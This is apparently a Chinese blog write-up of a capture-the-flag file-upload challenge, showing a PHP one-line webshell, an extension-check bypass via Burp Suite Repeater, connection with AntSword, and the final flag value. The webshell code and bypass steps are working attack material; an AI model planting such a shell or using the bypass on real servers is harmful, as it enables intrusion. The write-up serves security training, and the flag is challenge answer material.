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获取在线场景，得到：

联想可能是要上传webshell。于是编写一句话木马脚本：

<?php @eval($_POST['flag']);?>

当直接上传.php文件时，显示：

可知需要修改文件后缀，成为图片格式

将一句话木马的文件后缀改为.png或.jpg
选择文件，开启burpsuite拦截器，上传文件：

https://blog.csdn.net/weixin_43340821
https://blog.csdn.net/weixin_43340821/category_10255095.html
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E4%25BF%25A1%25E6%2581%25AF%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_43340821/article/details/108552949
https://blog.csdn.net/weixin_43340821/category_10255095.html


在filename处修改文件后缀名为.php,全选数据包后右键，点击send to repeater。在repeater页面点击Go按钮：



如图荧光笔位置显示出一句话木马成功上传的位置

此时用中国蚁剑进行连接：注意url地址一定是php上传的位置！，连接密码是php中自定义的密码

右键url点击文件管理，即可看到目录

打开flag.php



得到最终的flag值：
cyberpeace{9575ab47a40043e26f97c3f844640e55}
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